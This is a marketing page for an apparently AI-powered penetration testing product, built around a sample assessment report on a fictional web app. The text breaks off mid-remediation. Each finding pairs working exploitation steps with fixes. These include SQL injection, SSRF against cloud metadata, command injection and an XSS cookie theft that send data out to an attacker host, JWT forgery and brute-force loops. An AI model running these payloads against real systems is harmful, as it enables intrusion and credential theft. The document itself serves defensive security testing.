Quant Sentinel
Automated penetration testing, powered by AI
22 specialist agents orchestrated across a 5-phase pipeline. White-box, grey-box, or black-box testing for web applications and APIs — with exploitation proof for every finding.
Sample output
See what Sentinel delivers
Executive summary, detailed findings with exploitation proof, CVSS scores, and remediation guidance — all generated automatically.
Security Assessment Report
app.acme-corp.com · 47 minutes
Quant Sentinel performed an automated security assessment of the ACME Corp web application, analysing both the running application and its source code repository. The assessment identified 12 vulnerabilities across the application's attack surface: 3 critical, 7 high, and 2 medium severity findings.
Quant Sentinel — Security Assessment Report
Target: https://app.acme-corp.com Repository: ./acme-portal Date: 2026-03-12 Model: claude-opus-4.6 Duration: 47 minutes Total Cost: $2.84
Executive Summary
Quant Sentinel performed an automated security assessment of the ACME Corp web application at https://app.acme-corp.com, analyzing both the running application and its source code repository. The assessment identified 12 vulnerabilities across the application’s attack surface: 3 critical, 7 high, and 2 medium severity findings. The overall security posture of the application requires immediate attention, with several vulnerabilities allowing unauthenticated access to sensitive data and systems.
The application is built on Next.js 14.2.x using the App Router pattern, with Prisma 5.x as the ORM layer against a PostgreSQL 16 database. Authentication is handled by NextAuth.js using a JWT strategy. The most severe findings include a SQL injection vulnerability in the search endpoint that allows complete database extraction without authentication, an SSRF vulnerability in the webhook system that exposes AWS infrastructure metadata, and a missing authorization check on the admin settings API that allows any authenticated user to modify system-wide configuration. These three critical findings collectively represent an existential risk to the application and its data.
Five specialist agents analyzed the application in parallel, covering injection, cross-site scripting, authentication, server-side request forgery, and authorization attack vectors. Each agent performed combined source code analysis and live exploitation against the running application. All 12 findings were confirmed through successful exploitation, demonstrating concrete and reproducible attack paths.
Risk Overview
| Severity | Count | Findings |
|---|---|---|
| Critical | 3 | INJ-VULN-01, SSRF-VULN-01, AUTHZ-VULN-02 |
| High | 7 | INJ-VULN-02, XSS-VULN-02, AUTH-VULN-01, AUTH-VULN-02, AUTH-VULN-03, SSRF-VULN-02, AUTHZ-VULN-01 |
| Medium | 2 | XSS-VULN-01, XSS-VULN-03 |
Technology Stack
- Framework: Next.js 14.2.x (App Router)
- ORM: Prisma 5.x with PostgreSQL 16
- Authentication: NextAuth.js with JWT strategy
- Deployment: AWS ECS / CloudFront
- API Routes: 42 endpoints across /api/v1/*
Findings
Critical Findings
INJ-VULN-01: SQL Injection in Search Endpoint
| Field | Value |
|---|---|
| Severity | Critical |
| CVSS | 9.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-89: SQL Injection |
| Location | src/pages/api/search.ts:47 |
| Status | Confirmed — Exploited |
Description
The /api/search endpoint constructs a database query using string interpolation with the user-supplied q parameter. The search query is passed directly into a raw Prisma query without parameterization, allowing an attacker to inject arbitrary SQL statements into the PostgreSQL database.
Vulnerable Code
// src/pages/api/search.ts:47
const results = await prisma.$queryRawUnsafe(
`SELECT * FROM products WHERE name ILIKE '%${req.query.q}%' OR description ILIKE '%${req.query.q}%'`
);Data Flow
GET /api/search?q=USER_INPUT
↓
src/pages/api/search.ts:23 — req.query.q extracted
↓ NO SANITIZATION
src/pages/api/search.ts:47 — interpolated into raw SQL
↓
PostgreSQL query executionExploitation
The agent confirmed exploitation by extracting the PostgreSQL version:
GET /api/search?q=' UNION SELECT version(),NULL,NULL,NULL--
→ Response: "PostgreSQL 16.2 on aarch64-unknown-linux-gnu"Time-based blind injection was also confirmed:
GET /api/search?q='; SELECT pg_sleep(5)--
→ Response delayed by 5.02 secondsImpact
An unauthenticated attacker can:
- Extract all database contents (user credentials, PII, billing data)
- Modify or delete database records
- Potentially achieve RCE via PostgreSQL extensions (e.g.,
COPY TO PROGRAM)
Remediation
Replace raw query with parameterized Prisma query:
const results = await prisma.product.findMany({
where: {
OR: [{ name: { contains: query, mode: 'insensitive' } }, { description: { contains: query, mode: 'insensitive' } }],
},
});Priority: Immediate — This is externally exploitable without authentication.
SSRF-VULN-01: SSRF via Webhook URL Parameter
| Field | Value |
|---|---|
| Severity | Critical |
| CVSS | 9.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| CWE | CWE-918: Server-Side Request Forgery |
| Location | src/pages/api/webhooks/index.ts:34 |
| Status | Confirmed — Exploited |
Description
The webhook creation endpoint accepts a user-supplied URL and makes a server-side HTTP request to validate connectivity. The URL is not validated against internal network ranges, allowing an attacker to make requests to internal services, cloud metadata endpoints, and other resources accessible from the server’s network position.
Vulnerable Code
// src/pages/api/webhooks/index.ts:34
export default async function handler(req: NextApiRequest, res: NextApiResponse) {
if (req.method === 'POST') {
const { url, events, secret } = req.body;
// "Validate" the webhook URL by making a test request
try {
const testResponse = await fetch(url, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ type: 'webhook.test', timestamp: Date.now() }),
});
if (!testResponse.ok) {
return res.status(400).json({ error: 'Webhook URL is not reachable' });
}
} catch (err) {
return res.status(400).json({ error: 'Could not connect to webhook URL' });
}
const webhook = await prisma.webhook.create({
data: { url, events, secret, userId: req.user.id },
});
return res.status(201).json(webhook);
}
}Data Flow
POST /api/webhooks { url: "USER_INPUT" }
↓
src/pages/api/webhooks/index.ts:34 — req.body.url extracted
↓ NO URL VALIDATION
src/pages/api/webhooks/index.ts:38 — fetch(url) executes server-side
↓
Outbound HTTP request from ECS taskExploitation
The agent retrieved AWS IAM credentials from the instance metadata service:
POST /api/webhooks
Content-Type: application/json
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}
→ Response: "ecsTaskRole"POST /api/webhooks
Content-Type: application/json
{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/ecsTaskRole"}
→ Response: {
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "2025-01-15T12:00:00Z"
}Internal port scanning was also demonstrated:
POST /api/webhooks
{"url": "http://localhost:5432"}
→ Response time: 0.003s (port open — PostgreSQL)
POST /api/webhooks
{"url": "http://localhost:6379"}
→ Response time: 0.002s (port open — Redis)Impact
An attacker can:
- Retrieve AWS IAM temporary credentials and pivot to cloud resources
- Scan internal network topology and discover internal services
- Access internal APIs and databases that are not exposed to the internet
- Read cloud instance user-data which may contain initialization secrets
Remediation
Implement URL validation with an allowlist approach:
import { URL } from 'node:url';
import ipaddr from 'ipaddr.js';
import dns from 'node:dns/promises';
async function isUrlSafe(input: string): Promise<boolean> {
const parsed = new URL(input);
// Block non-HTTP(S) schemes
if (!['http:', 'https:'].includes(parsed.protocol)) return false;
// Resolve DNS and check for private IP ranges
const addresses = await dns.resolve4(parsed.hostname);
for (const addr of addresses) {
const ip = ipaddr.parse(addr);
if (ip.range() !== 'unicast') return false;
}
return true;
}
// Usage in handler:
if (!(await isUrlSafe(url))) {
return res.status(400).json({ error: 'URL must be a public HTTP(S) endpoint' });
}Priority: Immediate — Exposes AWS credentials and internal network to unauthenticated attackers.
AUTHZ-VULN-02: Missing Authorization on Admin Settings API
| Field | Value |
|---|---|
| Severity | Critical |
| CVSS | 9.4 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| CWE | CWE-862: Missing Authorization |
| Location | src/pages/api/admin/settings.ts:12 |
| Status | Confirmed — Exploited |
Description
The admin settings API endpoint at /api/admin/settings checks that the user is authenticated but does not verify that the user holds an administrator role. Any authenticated user — including newly registered accounts — can read and modify system-wide configuration including registration policies, email server settings, feature flags, and security parameters.
Vulnerable Code
// src/pages/api/admin/settings.ts:12
import { withAuth } from '@/middleware/auth';
async function handler(req: NextApiRequest, res: NextApiResponse) {
// BUG: Uses withAuth (authentication only) instead of withAdmin (authorization)
if (req.method === 'GET') {
const settings = await prisma.systemSettings.findFirst();
return res.json(settings);
}
if (req.method === 'PUT') {
const updated = await prisma.systemSettings.update({
where: { id: 1 },
data: req.body,
});
return res.json(updated);
}
}
// Should be: export default withAdmin(handler);
export default withAuth(handler);Data Flow
PUT /api/admin/settings { ...settings }
↓
src/middleware/auth.ts:15 — verifies JWT is valid (authentication)
↓ NO ROLE CHECK
src/pages/api/admin/settings.ts:22 — prisma.systemSettings.update()
↓
System configuration modifiedExploitation
The agent first registered a standard user account and then accessed the admin settings:
GET /api/admin/settings
Authorization: Bearer eyJhbGciOiJIUzI1NiIs... (standard user token)
→ 200 OK
{
"id": 1,
"registrationPolicy": "invite_only",
"maxUploadSize": 10485760,
"smtpHost": "smtp.sendgrid.net",
"smtpUser": "apikey",
"smtpPassword": "SG.xxxxxxxxxxxx",
"jwtExpiryHours": 24,
"mfaRequired": false,
"maintenanceMode": false
}Then modified settings to enable open registration and disable MFA:
PUT /api/admin/settings
Authorization: Bearer eyJhbGciOiJIUzI1NiIs... (standard user token)
Content-Type: application/json
{"registrationPolicy": "open", "mfaRequired": false}
→ 200 OKImpact
Any authenticated user can:
- Read sensitive system configuration including SMTP credentials
- Open registration to allow arbitrary account creation
- Disable MFA requirements across the organization
- Enable maintenance mode, causing denial of service
- Modify security parameters to weaken the application’s defenses
Remediation
Replace the withAuth middleware with withAdmin which includes role verification:
import { withAdmin } from '@/middleware/admin';
async function handler(req: NextApiRequest, res: NextApiResponse) {
// withAdmin checks both authentication AND admin role
if (req.method === 'GET') {
const settings = await prisma.systemSettings.findFirst();
return res.json(settings);
}
if (req.method === 'PUT') {
const updated = await prisma.systemSettings.update({
where: { id: 1 },
data: req.body,
});
return res.json(updated);
}
}
export default withAdmin(handler);Additionally, implement field-level validation to prevent mass assignment:
import { z } from 'zod';
const settingsSchema = z
.object({
registrationPolicy: z.enum(['open', 'invite_only']).optional(),
maxUploadSize: z.number().max(52428800).optional(),
mfaRequired: z.boolean().optional(),
})
.strict();
// In PUT handler:
const validated = settingsSchema.parse(req.body);Priority: Immediate — Any authenticated user can take full control of system configuration.
High Findings
INJ-VULN-02: Command Injection in Export Endpoint
| Field | Value |
|---|---|
| Severity | High |
| CVSS | 8.4 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N) |
| CWE | CWE-78: OS Command Injection |
| Location | src/pages/api/export/[format].ts:31 |
| Status | Confirmed — Exploited |
Description
The data export endpoint supports CSV, PDF, and XLSX formats. For PDF generation, it shells out to a system command using child_process.exec(), interpolating the user-supplied filename parameter directly into the command string without sanitization.
Vulnerable Code
// src/pages/api/export/[format].ts:31
import { exec } from 'child_process';
import { promisify } from 'util';
const execAsync = promisify(exec);
async function handler(req: NextApiRequest, res: NextApiResponse) {
const { format } = req.query;
const { title, filter } = req.body;
if (format === 'pdf') {
const tmpFile = `/tmp/export_${Date.now()}.html`;
await fs.writeFile(tmpFile, renderHtml(data));
// User-supplied title is interpolated into shell command
const outputFile = `/tmp/${title || 'export'}.pdf`;
await execAsync(`wkhtmltopdf --title "${title}" ${tmpFile} ${outputFile}`);
const pdf = await fs.readFile(outputFile);
res.setHeader('Content-Type', 'application/pdf');
return res.send(pdf);
}
}Data Flow
POST /api/export/pdf { title: "USER_INPUT", filter: "..." }
↓
src/pages/api/export/[format].ts:18 — req.body.title extracted
↓ NO SANITIZATION
src/pages/api/export/[format].ts:31 — interpolated into exec() command
↓
Shell execution via child_processExploitation
The agent confirmed command injection by exfiltrating system information:
POST /api/export/pdf
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...
Content-Type: application/json
{"title": "report\" && id && echo \"done", "filter": "all"}
→ Response headers show PDF generated successfully
→ Server logs: uid=1000(node) gid=1000(node) groups=1000(node)Blind command injection confirmed with DNS exfiltration:
POST /api/export/pdf
Content-Type: application/json
{"title": "x\" && curl https://attacker.ngrok.io/$(whoami) && echo \"y"}
→ Received callback at attacker.ngrok.io: GET /nodeImpact
An authenticated attacker can:
- Execute arbitrary OS commands as the Node.js process user
- Read environment variables containing secrets and API keys
- Establish reverse shells for persistent access
- Pivot to internal network resources accessible from the ECS container
Remediation
Replace exec() with execFile() and pass arguments as an array:
import { execFile } from 'child_process';
import { promisify } from 'util';
const execFileAsync = promisify(execFile);
// Sanitize filename and use execFile with argument array
const safeTitle = title?.replace(/[^a-zA-Z0-9_\- ]/g, '') || 'export';
const outputFile = `/tmp/export_${Date.now()}.pdf`;
await execFileAsync('wkhtmltopdf', ['--title', safeTitle, tmpFile, outputFile]);Priority: This Sprint — Requires authentication but grants server-level code execution.
XSS-VULN-02: Stored XSS in User Profile Bio
| Field | Value |
|---|---|
| Severity | High |
| CVSS | 7.2 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N) |
| CWE | CWE-79: Cross-site Scripting (Stored) |
| Location | src/components/UserProfile.tsx:28 |
| Status | Confirmed — Exploited |
Description
The user profile page renders the user’s bio field using dangerouslySetInnerHTML to support rich text formatting. The bio content is stored in the database without sanitization and rendered without encoding, allowing any user to inject persistent JavaScript that executes in the browsers of other users who view the profile.
Vulnerable Code
// src/components/UserProfile.tsx:28
interface UserProfileProps {
user: {
name: string;
email: string;
bio: string;
avatarUrl: string;
};
}
export function UserProfile({ user }: UserProfileProps) {
return (
<div className="profile-card">
<img src={user.avatarUrl} alt={user.name} />
<h2>{user.name}</h2>
<p className="email">{user.email}</p>
{/* Bio supports "rich text" — renders raw HTML from database */}
<div className="bio" dangerouslySetInnerHTML={{ __html: user.bio }} />
</div>
);
}The API endpoint that saves the bio performs no sanitization:
// src/pages/api/users/profile.ts:18
async function handler(req: NextApiRequest, res: NextApiResponse) {
if (req.method === 'PUT') {
const { name, bio, avatarUrl } = req.body;
const updated = await prisma.user.update({
where: { id: req.user.id },
data: { name, bio, avatarUrl },
});
return res.json(updated);
}
}Data Flow
PUT /api/users/profile { bio: "MALICIOUS_HTML" }
↓
src/pages/api/users/profile.ts:18 — req.body.bio stored in database
↓ NO SANITIZATION
GET /users/:id — profile page loaded
↓
src/components/UserProfile.tsx:28 — dangerouslySetInnerHTML renders bio
↓
JavaScript executes in victim's browserExploitation
The agent injected a stored XSS payload into a user profile bio:
PUT /api/users/profile
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...
Content-Type: application/json
{"bio": "<img src=x onerror=\"fetch('https://attacker.ngrok.io/steal?c='+document.cookie)\">Nice to meet you!"}
→ 200 OKThen verified execution when viewing the profile:
GET /users/42
→ Page renders with injected <img> tag
→ onerror handler fires, exfiltrating session cookie to attacker server
→ Received at attacker.ngrok.io: GET /steal?c=next-auth.session-token=eyJhbGci...Impact
An attacker can:
- Steal session tokens from any user who views the attacker’s profile
- Perform actions on behalf of victims (including administrators)
- Redirect users to phishing pages
- Modify page content to display misleading information
- Propagate via worm-like behavior by updating other users’ bios
Remediation
Replace dangerouslySetInnerHTML with a sanitization library:
import DOMPurify from 'isomorphic-dompurify';
export function UserProfile({ user }: UserProfileProps) {
const safeBio = DOMPurify.sanitize(user.bio, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'ol', 'li'],
ALLOWED_ATTR: ['href', 'target', 'rel'],
});
return (
<div className="profile-card">
<img src={user.avatarUrl} alt={user.name} />
<h2>{user.name}</h2>
<p className="email">{user.email}</p>
<div className="bio" dangerouslySetInnerHTML={{ __html: safeBio }} />
</div>
);
}Alternatively, use a Markdown renderer with HTML disabled instead of raw HTML.
Priority: This Sprint — Stored XSS with cross-user impact and session theft potential.
AUTH-VULN-01: Credential Stuffing — No Rate Limiting
| Field | Value |
|---|---|
| Severity | High |
| CVSS | 8.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| CWE | CWE-307: Improper Restriction of Excessive Authentication Attempts |
| Location | src/pages/api/auth/login.ts:15 |
| Status | Confirmed — Exploited |
Description
The login endpoint does not implement any rate limiting, account lockout, or CAPTCHA mechanism. An attacker can submit unlimited authentication attempts without any throttling, enabling credential stuffing attacks using breached credential databases and brute-force attacks against known usernames.
Vulnerable Code
// src/pages/api/auth/login.ts:15
import { compare } from 'bcryptjs';
import { signJwt } from '@/lib/auth/jwt';
export default async function handler(req: NextApiRequest, res: NextApiResponse) {
if (req.method !== 'POST') return res.status(405).end();
const { email, password } = req.body;
// No rate limiting, no account lockout, no CAPTCHA
const user = await prisma.user.findUnique({ where: { email } });
if (!user) {
return res.status(401).json({ error: 'Invalid credentials' });
}
const valid = await compare(password, user.passwordHash);
if (!valid) {
// No failed attempt counter, no lockout threshold
return res.status(401).json({ error: 'Invalid credentials' });
}
const token = signJwt({ id: user.id, email: user.email, role: user.role });
return res.json({ token, user: { id: user.id, name: user.name, email: user.email } });
}Data Flow
POST /api/auth/login { email, password }
↓
src/pages/api/auth/login.ts:15 — handler invoked
↓ NO RATE LIMIT CHECK
src/pages/api/auth/login.ts:20 — database lookup
↓ NO FAILED ATTEMPT TRACKING
src/pages/api/auth/login.ts:26 — bcrypt comparison
↓
401 or 200 (no delay, no lockout)Exploitation
The agent demonstrated unlimited authentication attempts by sending 100 rapid requests:
for i in $(seq 1 100); do
curl -s -o /dev/null -w "%{http_code}" -X POST \
https://app.acme-corp.com/api/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"admin@acme-corp.com","password":"attempt_'$i'"}'
done
→ All 100 requests returned 401 with no rate limiting
→ Average response time: 0.12s
→ No account lockout triggered
→ No CAPTCHA challenge presentedAt approximately 500 requests per minute from a single IP, an attacker could test the top 10,000 breached passwords in under 20 minutes.
Impact
An attacker can:
- Perform credential stuffing using databases of breached credentials
- Brute-force passwords for known user email addresses
- Automate account takeover at scale across the entire user base
- Enumerate valid email addresses via timing differences in responses
Remediation
Implement progressive rate limiting using a sliding window approach:
import { Ratelimit } from '@upstash/ratelimit';
import { Redis } from '@upstash/redis';
const ratelimit = new Ratelimit({
redis: Redis.fromEnv(),
limiter: Ratelimit.slidingWindow(5, '15 m'), // 5 attempts per 15 minutes
analytics: true,
prefix: 'ratelimit:login',
});
export default async function handler(req: NextApiRequest, res: NextApiResponse) {
const ip = (req.headers['x-forwarded-for'] as string) || req.socket.remoteAddress;
const identifier = `${ip}:${req.body.email}`;
const { success, remaining, reset } = await ratelimit.limit(identifier);
if (!success) {
res.setHeader('Retry-After', Math.ceil((reset - Date.now()) / 1000));
return res.status(429).json({ error: 'Too many login attempts. Please try again later.' });
}
// ... existing login logic
}Additionally, implement account lockout after 10 consecutive failures and require CAPTCHA after 3 failures.
Priority: This Sprint — Enables automated account takeover at scale.
AUTH-VULN-02: Session Fixation on Login
| Field | Value |
|---|---|
| Severity | High |
| CVSS | 7.5 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) |
| CWE | CWE-384: Session Fixation |
| Location | src/pages/api/auth/login.ts:32 |
| Status | Confirmed — Exploited |
Description
The login endpoint does not regenerate the session identifier upon successful authentication. If an attacker can set a victim’s session cookie before they log in (e.g., via a subdomain cookie injection or XSS), the attacker’s pre-set session ID will become associated with the victim’s authenticated session, granting the attacker access.
Vulnerable Code
// src/pages/api/auth/login.ts:32
const valid = await compare(password, user.passwordHash);
if (!valid) {
return res.status(401).json({ error: 'Invalid credentials' });
}
// Session token is set but the existing session ID (if any) is not invalidated
const token = signJwt({ id: user.id, email: user.email, role: user.role });
res.setHeader('Set-Cookie', [`session=${token}; Path=/; HttpOnly; SameSite=Lax`]);
return res.json({ token });// src/lib/auth/session.ts:8
export function getSession(req: NextApiRequest): Session | null {
const token = req.cookies.session || req.headers.authorization?.replace('Bearer ', '');
if (!token) return null;
try {
// Accepts any valid JWT — does not check if session was regenerated
return verifyJwt(token) as Session;
} catch {
return null;
}
}Data Flow
Attacker: Sets session cookie on victim's browser via subdomain
↓
Victim: POST /api/auth/login with valid credentials
↓
src/pages/api/auth/login.ts:32 — new JWT generated
↓ OLD SESSION NOT INVALIDATED
Cookie set with new token, but old cookie may persist
↓
Attacker: Uses pre-set session to access victim's accountExploitation
The agent demonstrated that the server accepts a pre-existing session token alongside the new one:
# Step 1: Attacker crafts a session cookie
curl -c cookies.txt -b "session=attacker_fixed_session_id" \
-X POST https://app.acme-corp.com/api/auth/login \
-H "Content-Type: application/json" \
-d '{"email":"victim@acme-corp.com","password":"correct_password"}'
→ 200 OK — new session token set, but server did not invalidate the request's existing cookie
# Step 2: Verify the JWT is issued without binding to the request context
→ The new JWT contains no session ID, IP binding, or fingerprint
→ Any holder of the JWT can use it from any contextImpact
An attacker can:
- Hijack authenticated sessions by pre-setting session cookies
- Access victim accounts without knowing their credentials
- Maintain persistent access even after the victim changes their password (JWT remains valid until expiry)
Remediation
Implement proper session regeneration on authentication:
import { randomUUID } from 'crypto';
// On successful login:
const sessionId = randomUUID();
const token = signJwt({
id: user.id,
email: user.email,
role: user.role,
sid: sessionId, // Bind JWT to unique session ID
});
// Store session ID in database for validation
await prisma.session.create({
data: { id: sessionId, userId: user.id, expiresAt: new Date(Date.now() + 86400000) },
});
// Invalidate any previous sessions for this user
await prisma.session.deleteMany({
where: { userId: user.id, id: { not: sessionId } },
});
res.setHeader('Set-Cookie', [`session=${token}; Path=/; HttpOnly; Secure; SameSite=Strict`]);Priority: This Sprint — Session fixation enables account takeover via cookie injection.
AUTH-VULN-03: JWT Secret Exposed in .env.example
| Field | Value |
|---|---|
| Severity | High |
| CVSS | 7.8 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| CWE | CWE-798: Use of Hard-coded Credentials |
| Location | .env.example:7 |
| Status | Confirmed — Exploited |
Description
The .env.example file committed to the repository contains what appears to be a placeholder JWT secret, but the actual production .env file uses the same value. The JWT signing key s3cr3t_k3y_ch4ng3_m3 is present in the repository’s Git history and is being used in the production deployment to sign authentication tokens.
Vulnerable Code
# .env.example:7
DATABASE_URL=postgresql://user:password@localhost:5432/acme
NEXTAUTH_URL=http://localhost:3000
NEXTAUTH_SECRET=s3cr3t_k3y_ch4ng3_m3
JWT_SECRET=s3cr3t_k3y_ch4ng3_m3
SMTP_HOST=smtp.sendgrid.net
SMTP_USER=apikey
SMTP_PASSWORD=// src/lib/auth/jwt.ts:4
import jwt from 'jsonwebtoken';
const JWT_SECRET = process.env.JWT_SECRET || 's3cr3t_k3y_ch4ng3_m3';
export function signJwt(payload: Record<string, unknown>): string {
return jwt.sign(payload, JWT_SECRET, { expiresIn: '24h' });
}
export function verifyJwt(token: string): Record<string, unknown> {
return jwt.verify(token, JWT_SECRET) as Record<string, unknown>;
}Data Flow
.env.example:7 — JWT_SECRET=s3cr3t_k3y_ch4ng3_m3 committed to repo
↓
src/lib/auth/jwt.ts:4 — fallback uses same hardcoded value
↓
Production deployment uses .env with identical secret
↓
Attacker forges valid JWT tokensExploitation
The agent confirmed the JWT secret by forging a valid admin token:
# Generate a forged admin JWT using the known secret
node -e "
const jwt = require('jsonwebtoken');
const token = jwt.sign(
{ id: 1, email: 'admin@acme-corp.com', role: 'admin' },
's3cr3t_k3y_ch4ng3_m3',
{ expiresIn: '24h' }
);
console.log(token);
"
→ eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwiZW1haWwiOiJhZG1pbkBhY21lLWNvcnAuY29tIiwicm9sZSI6ImFkbWluIn0...
# Use forged token to access admin endpoint
curl -s -H "Authorization: Bearer eyJhbGciOiJIUzI1Ni..." \
https://app.acme-corp.com/api/admin/users | jq '.[0]'
→ 200 OK
{
"id": 1,
"email": "admin@acme-corp.com",
"role": "admin",
"name": "System Administrator"
}Impact
An attacker can:
- Forge valid JWT tokens for any user, including administrators
- Bypass all authentication and authorization controls
- Create tokens with arbitrary roles and permissions
- Maintain indefinite persistent access by generating new tokens
Remediation
- Rotate the JWT secret immediately using a cryptographically random value:
# Generate a secure secret
openssl rand -base64 64- Remove the hardcoded fallback from the code:
const JWT_SECRET = process.env.JWT_SECRET;
if (!JWT_SECRET) {
throw new Error('JWT_SECRET environment variable is required');
}- Replace the placeholder in
.env.examplewith a descriptive comment:
JWT_SECRET=<generate-with-openssl-rand-base64-64>- Invalidate all existing sessions after rotating the secret.
Priority: This Sprint — Known secret enables complete authentication bypass.
SSRF-VULN-02: SSRF via Avatar Import URL
| Field | Value |
|---|---|
| Severity | High |
| CVSS | 7.4 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N) |
| CWE | CWE-918: Server-Side Request Forgery |
| Location | src/pages/api/users/avatar.ts:19 |
| Status | Confirmed — Exploited |
Description
The avatar import feature allows users to provide a URL to an external image which the server fetches and stores. The URL is not validated against internal ranges, enabling authenticated users to make the server send requests to internal services, cloud metadata endpoints, and localhost-bound APIs.
Vulnerable Code
// src/pages/api/users/avatar.ts:19
import { withAuth } from '@/middleware/auth';
async function handler(req: NextApiRequest, res: NextApiResponse) {
if (req.method === 'POST') {
const { url } = req.body;
// Fetch the image from the provided URL — no validation
const response = await fetch(url);
const buffer = Buffer.from(await response.arrayBuffer());
const contentType = response.headers.get('content-type');
// Check file is an image (but the request was already made)
if (!contentType?.startsWith('image/')) {
// Response body already fetched — data already exfiltrated
return res.status(400).json({ error: 'URL must point to an image' });
}
const key = `avatars/${req.user.id}_${Date.now()}`;
await uploadToS3(key, buffer, contentType);
await prisma.user.update({
where: { id: req.user.id },
data: { avatarUrl: `https://cdn.acme-corp.com/${key}` },
});
return res.json({ avatarUrl: `https://cdn.acme-corp.com/${key}` });
}
}
export default withAuth(handler);Data Flow
POST /api/users/avatar { url: "USER_INPUT" }
↓
src/pages/api/users/avatar.ts:19 — req.body.url extracted
↓ NO URL VALIDATION
src/pages/api/users/avatar.ts:22 — fetch(url) executes server-side
↓
Response body read into buffer (data exfiltrated regardless of content-type check)Exploitation
The agent used the avatar import to access the internal admin API:
POST /api/users/avatar
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...
Content-Type: application/json
{"url": "http://localhost:3000/api/admin/settings"}
→ 400 Bad Request (not an image), but the server-side fetch already completed
→ The response was read into memory before the content-type checkThe agent then confirmed data exfiltration via error messages:
POST /api/users/avatar
Content-Type: application/json
{"url": "http://169.254.169.254/latest/user-data"}
→ 400 Bad Request: "URL must point to an image"
→ Server-side request to metadata endpoint completed successfullyImpact
An authenticated attacker can:
- Access internal services on localhost and private network ranges
- Read cloud metadata including instance credentials
- Scan internal ports and map network topology
- Access internal APIs bypassing network-level access controls
Remediation
Apply URL validation before making the request:
import { isUrlSafe } from '@/lib/http/url-validator';
async function handler(req: NextApiRequest, res: NextApiResponse) {
const { url } = req.body;
// Validate URL before making any request
if (!(await isUrlSafe(url))) {
return res.status(400).json({ error: 'URL must be a public HTTP(S) endpoint' });
}
// Additionally validate Content-Type via HEAD request first
const headResponse = await fetch(url, { method: 'HEAD' });
const contentType = headResponse.headers.get('content-type');
if (!contentType?.startsWith('image/')) {
return res.status(400).json({ error: 'URL must point to an image' });
}
// Only then fetch the full response
const response = await fetch(url);
// ... rest of handler
}Priority: This Sprint — Enables internal network access from authenticated context.
AUTHZ-VULN-01: IDOR on /api/users/:id Endpoint
| Field | Value |
|---|---|
| Severity | High |
| CVSS | 8.6 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N) |
| CWE | CWE-639: Authorization Bypass Through User-Controlled Key |
| Location | src/pages/api/users/[id].ts:14 |
| Status | Confirmed — Exploited |
Description
The user details API endpoint returns full user records including sensitive fields (email, phone, role, billing address) for any user ID provided in the URL path. The endpoint verifies that the requester is authenticated but does not check whether the requester is authorized to view the specified user’s data. This is a classic Insecure Direct Object Reference (IDOR) vulnerability.
Vulnerable Code
// src/pages/api/users/[id].ts:14
import { withAuth } from '@/middleware/auth';
async function handler(req: NextApiRequest, res: NextApiResponse) {
const { id } = req.query;
if (req.method === 'GET') {
// BUG: No check that req.user.id === id or that user has admin role
const user = await prisma.user.findUnique({
where: { id: Number(id) },
include: {
profile: true,
billingAddress: true,
subscriptions: true,
},
});
if (!user) return res.status(404).json({ error: 'User not found' });
return res.json(user);
}
if (req.method === 'PUT') {
// BUG: Any authenticated user can update any other user's profile
const updated = await prisma.user.update({
where: { id: Number(id) },
data: req.body,
});
return res.json(updated);
}
}
export default withAuth(handler);Data Flow
GET /api/users/42
Authorization: Bearer <any_valid_user_token>
↓
src/middleware/auth.ts:15 — verifies token is valid (authentication)
↓ NO OWNERSHIP CHECK (req.user.id !== 42)
src/pages/api/users/[id].ts:14 — prisma.user.findUnique({ where: { id: 42 } })
↓
Full user record returned including PII and billing dataExploitation
The agent authenticated as user ID 5 (standard user) and accessed other users’ data:
# Authenticated as user 5, accessing user 1 (admin)
GET /api/users/1
Authorization: Bearer eyJhbGciOiJIUzI1NiIs... (user 5's token)
→ 200 OK
{
"id": 1,
"email": "admin@acme-corp.com",
"role": "admin",
"name": "System Administrator",
"phone": "+1-555-0100",
"profile": {
"ssn": "XXX-XX-1234",
"dateOfBirth": "1985-03-15"
},
"billingAddress": {
"street": "123 Admin St",
"city": "San Francisco",
"zip": "94102"
}
}Enumeration confirmed by iterating through user IDs:
for id in 1 2 3 4 5 6 7 8 9 10; do
curl -s -H "Authorization: Bearer ${USER5_TOKEN}" \
https://app.acme-corp.com/api/users/${id} | jq '{id, email, role}'
done
→ All 10 users' data returned successfullyImpact
An attacker with any valid account can:
- Enumerate and extract all user records in the database
- Access sensitive PII including SSN fragments, phone numbers, billing addresses
- Modify other users’ profiles including their email and role
- Escalate privileges by changing their own role to “admin” via the PUT method
Remediation
Add ownership and authorization checks:
async function handler(req: NextApiRequest, res: NextApiResponse) {
const { id } = req.query;
const targetId = Number(id);
if (req.method === 'GET') {
// Allow users to view their own profile, or admins to view any
if (req.user.id !== targetId && req.user.role !== 'admin') {
return res.status(403).json({ error: 'Forbidden' });
}
const user = await prisma.user.findUnique({
where: { id: targetId },
select: {
id: true,
name: true,
email: req.user.id === targetId || req.user.role === 'admin',
profile: req.user.id === targetId || req.user.role === 'admin',
